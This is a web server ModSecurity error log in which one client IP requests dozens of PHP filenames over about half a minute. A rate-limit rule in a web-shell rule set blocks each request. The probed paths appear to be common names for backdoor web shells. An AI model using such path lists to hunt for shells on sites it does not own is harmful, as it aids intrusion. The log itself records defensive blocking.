[Thu Apr 02 20:11:31.185456 2026] [:error] [pid 59305:tid 59324] [client 74.248.134.192:32468] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac5c86r2tV4rDwKFxKePlgAAAM8"]
[Thu Apr 02 20:11:31.718549 2026] [:error] [pid 23927:tid 23938] [client 74.248.134.192:21985] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac5c80sZwqCndhl9uKC12AAAAYk"]
[Thu Apr 02 20:11:32.242664 2026] [:error] [pid 29467:tid 29470] [client 74.248.134.192:29575] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lp6.php"] [unique_id "ac5c9L4VUBFCJAq-WOmINwAAAQA"]
[Thu Apr 02 20:11:33.056338 2026] [:error] [pid 29467:tid 29480] [client 74.248.134.192:5561] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac5c9b4VUBFCJAq-WOmIOAAAAQo"]
[Thu Apr 02 20:11:33.957104 2026] [:error] [pid 29467:tid 29471] [client 74.248.134.192:54108] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac5c9b4VUBFCJAq-WOmIPwAAAQE"]
[Thu Apr 02 20:11:34.553113 2026] [:error] [pid 54384:tid 54405] [client 74.248.134.192:18915] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac5c9tWWpaby3TVN7McTRQAAAdM"]
[Thu Apr 02 20:11:35.154063 2026] [:error] [pid 59305:tid 59313] [client 74.248.134.192:50050] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/com.php"] [unique_id "ac5c96r2tV4rDwKFxKePoQAAAMQ"]
[Thu Apr 02 20:11:35.750739 2026] [:error] [pid 29467:tid 29474] [client 74.248.134.192:58749] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac5c974VUBFCJAq-WOmIRwAAAQQ"]
[Thu Apr 02 20:11:36.365112 2026] [:error] [pid 59200:tid 59240] [client 74.248.134.192:50073] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac5c-LfP26txrdLs3Ep3awAAAEA"]
[Thu Apr 02 20:11:37.009527 2026] [:error] [pid 59201:tid 59272] [client 74.248.134.192:57049] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac5c-cAC0Tw8eL6gzZ4e7AAAAIU"]
[Thu Apr 02 20:11:37.548598 2026] [:error] [pid 59201:tid 59291] [client 74.248.134.192:29609] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "ac5c-cAC0Tw8eL6gzZ4e7wAAAJg"]
[Thu Apr 02 20:11:38.193517 2026] [:error] [pid 54384:tid 54406] [client 74.248.134.192:29588] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac5c-tWWpaby3TVN7McTRgAAAdQ"]
[Thu Apr 02 20:11:38.748472 2026] [:error] [pid 59194:tid 59216] [client 74.248.134.192:50144] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac5c-hMpAeV11hcQehxHPQAAAAM"]
[Thu Apr 02 20:11:39.378802 2026] [:error] [pid 29467:tid 29486] [client 74.248.134.192:35609] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac5c-74VUBFCJAq-WOmIVwAAARA"]
[Thu Apr 02 20:11:40.144113 2026] [:error] [pid 29467:tid 29480] [client 74.248.134.192:57048] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wander.php"] [unique_id "ac5c_L4VUBFCJAq-WOmIXAAAAQo"]
[Thu Apr 02 20:11:40.732585 2026] [:error] [pid 37543:tid 37568] [client 74.248.134.192:21307] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ac5c_Hhdk2bEYJCvILbfuwAAAVc"]
[Thu Apr 02 20:11:41.557905 2026] [:error] [pid 23927:tid 23937] [client 74.248.134.192:57024] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ac5c_UsZwqCndhl9uKC14gAAAYg"]
[Thu Apr 02 20:11:42.231694 2026] [:error] [pid 37543:tid 37567] [client 74.248.134.192:21998] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ac5c_nhdk2bEYJCvILbfwQAAAVY"]
[Thu Apr 02 20:11:42.818761 2026] [:error] [pid 59194:tid 59230] [client 74.248.134.192:5535] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t.php"] [unique_id "ac5c_hMpAeV11hcQehxHPgAAABE"]
[Thu Apr 02 20:11:43.475757 2026] [:error] [pid 59201:tid 59276] [client 74.248.134.192:54128] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac5c_8AC0Tw8eL6gzZ4e8QAAAIk"]
[Thu Apr 02 20:11:44.131020 2026] [:error] [pid 59201:tid 59269] [client 74.248.134.192:18927] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac5dAMAC0Tw8eL6gzZ4e8wAAAII"]
[Thu Apr 02 20:11:44.721689 2026] [:error] [pid 37543:tid 37569] [client 74.248.134.192:42506] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac5dAHhdk2bEYJCvILbfywAAAVg"]
[Thu Apr 02 20:11:45.425308 2026] [:error] [pid 59305:tid 59310] [client 74.248.134.192:21311] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amax.php"] [unique_id "ac5dAar2tV4rDwKFxKePrwAAAME"]
[Thu Apr 02 20:11:46.146372 2026] [:error] [pid 59305:tid 59316] [client 74.248.134.192:35607] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac5dAqr2tV4rDwKFxKePtAAAAMc"]
[Thu Apr 02 20:11:47.018785 2026] [:error] [pid 59305:tid 59322] [client 74.248.134.192:42555] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac5dA6r2tV4rDwKFxKePzwAAAM0"]
[Thu Apr 02 20:11:48.022451 2026] [:error] [pid 23927:tid 23935] [client 74.248.134.192:21995] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac5dBEsZwqCndhl9uKC17gAAAYY"]
[Thu Apr 02 20:11:49.826832 2026] [:error] [pid 29467:tid 29485] [client 74.248.134.192:50174] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac5dBb4VUBFCJAq-WOmIbAAAAQ8"]
[Thu Apr 02 20:11:50.739535 2026] [:error] [pid 59194:tid 59218] [client 74.248.134.192:57047] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac5dBhMpAeV11hcQehxHQgAAAAU"]
[Thu Apr 02 20:11:51.286183 2026] [:error] [pid 59201:tid 59277] [client 74.248.134.192:18910] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac5dB8AC0Tw8eL6gzZ4fCQAAAIo"]
[Thu Apr 02 20:11:51.808621 2026] [:error] [pid 29467:tid 29489] [client 74.248.134.192:41873] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac5dB74VUBFCJAq-WOmIcQAAARM"]
[Thu Apr 02 20:11:52.326886 2026] [:error] [pid 37543:tid 37553] [client 74.248.134.192:21989] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "ac5dCHhdk2bEYJCvILbf2AAAAUg"]
[Thu Apr 02 20:11:52.870548 2026] [:error] [pid 37543:tid 37564] [client 74.248.134.192:35608] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "ac5dCHhdk2bEYJCvILbf3AAAAVM"]
[Thu Apr 02 20:11:53.445319 2026] [:error] [pid 59305:tid 59311] [client 74.248.134.192:32507] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "ac5dCar2tV4rDwKFxKeP1AAAAMI"]
[Thu Apr 02 20:11:53.968114 2026] [:error] [pid 29467:tid 29491] [client 74.248.134.192:57065] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "ac5dCb4VUBFCJAq-WOmIdQAAARU"]
[Thu Apr 02 20:11:54.512113 2026] [:error] [pid 54384:tid 54395] [client 74.248.134.192:50112] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "ac5dCtWWpaby3TVN7McTSwAAAck"]
[Thu Apr 02 20:11:55.180590 2026] [:error] [pid 29467:tid 29488] [client 74.248.134.192:62164] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "ac5dC74VUBFCJAq-WOmIeQAAARI"]
[Thu Apr 02 20:11:55.747865 2026] [:error] [pid 29467:tid 29471] [client 74.248.134.192:18943] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "ac5dC74VUBFCJAq-WOmIfAAAAQE"]
[Thu Apr 02 20:11:56.261719 2026] [:error] [pid 29467:tid 29483] [client 74.248.134.192:59333] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "ac5dDL4VUBFCJAq-WOmIggAAAQ0"]
[Thu Apr 02 20:11:56.858867 2026] [:error] [pid 59200:tid 59257] [client 74.248.134.192:32483] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/to.php"] [unique_id "ac5dDLfP26txrdLs3Ep3dgAAAFE"]
[Thu Apr 02 20:11:57.373120 2026] [:error] [pid 29467:tid 29471] [client 74.248.134.192:43232] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "ac5dDb4VUBFCJAq-WOmIiQAAAQE"]
[Thu Apr 02 20:11:57.982982 2026] [:error] [pid 54384:tid 54387] [client 74.248.134.192:41875] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "ac5dDdWWpaby3TVN7McTTwAAAcE"]
[Thu Apr 02 20:11:58.498215 2026] [:error] [pid 54384:tid 54400] [client 74.248.134.192:54107] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "ac5dDtWWpaby3TVN7McTUQAAAc4"]
[Thu Apr 02 20:11:59.020128 2026] [:error] [pid 37543:tid 37549] [client 74.248.134.192:42520] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wqqs.php"] [unique_id "ac5dD3hdk2bEYJCvILbf5AAAAUQ"]
[Thu Apr 02 20:11:59.548359 2026] [:error] [pid 59305:tid 59325] [client 74.248.134.192:43212] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ac5dD6r2tV4rDwKFxKeP6AAAANA"]
[Thu Apr 02 20:12:00.283584 2026] [:error] [pid 59200:tid 59258] [client 74.248.134.192:56345] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ac5dELfP26txrdLs3Ep3ewAAAFI"]
[Thu Apr 02 20:12:00.837703 2026] [:error] [pid 29467:tid 29491] [client 74.248.134.192:50105] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ac5dEL4VUBFCJAq-WOmIkwAAARU"]
[Thu Apr 02 20:12:01.382493 2026] [:error] [pid 29467:tid 29480] [client 74.248.134.192:21258] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ac5dEb4VUBFCJAq-WOmIlgAAAQo"]
[Thu Apr 02 20:12:01.905010 2026] [:error] [pid 23927:tid 23929] [client 74.248.134.192:50104] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "ac5dEUsZwqCndhl9uKC1_QAAAYA"]
[Thu Apr 02 20:12:02.435639 2026] [:error] [pid 37543:tid 37567] [client 74.248.134.192:50156] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "ac5dEnhdk2bEYJCvILbf5wAAAVY"]
[Thu Apr 02 20:12:02.987540 2026] [:error] [pid 29467:tid 29479] [client 74.248.134.192:50049] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "ac5dEr4VUBFCJAq-WOmImwAAAQk"]
[Thu Apr 02 20:12:03.500550 2026] [:error] [pid 37543:tid 37550] [client 74.248.134.192:35639] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/inege.php"] [unique_id "ac5dE3hdk2bEYJCvILbf6AAAAUU"]
[Thu Apr 02 20:12:04.080656 2026] [:error] [pid 23927:tid 23931] [client 74.248.134.192:50091] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "ac5dFEsZwqCndhl9uKC2AAAAAYI"]
[Thu Apr 02 20:12:04.631064 2026] [:error] [pid 37543:tid 37559] [client 74.248.134.192:43247] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "ac5dFHhdk2bEYJCvILbf7AAAAU4"]
[Thu Apr 02 20:12:05.243862 2026] [:error] [pid 59200:tid 59261] [client 74.248.134.192:18905] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "ac5dFbfP26txrdLs3Ep3fAAAAFU"]
[Thu Apr 02 20:12:05.864576 2026] [:error] [pid 59305:tid 59325] [client 74.248.134.192:57029] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "ac5dFar2tV4rDwKFxKeP8AAAANA"]
[Thu Apr 02 20:12:06.374327 2026] [:error] [pid 59194:tid 59235] [client 74.248.134.192:5546] [client 74.248.134.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tool.php"] [unique_id "ac5dFhMpAeV11hcQehxHTQAAABY"]
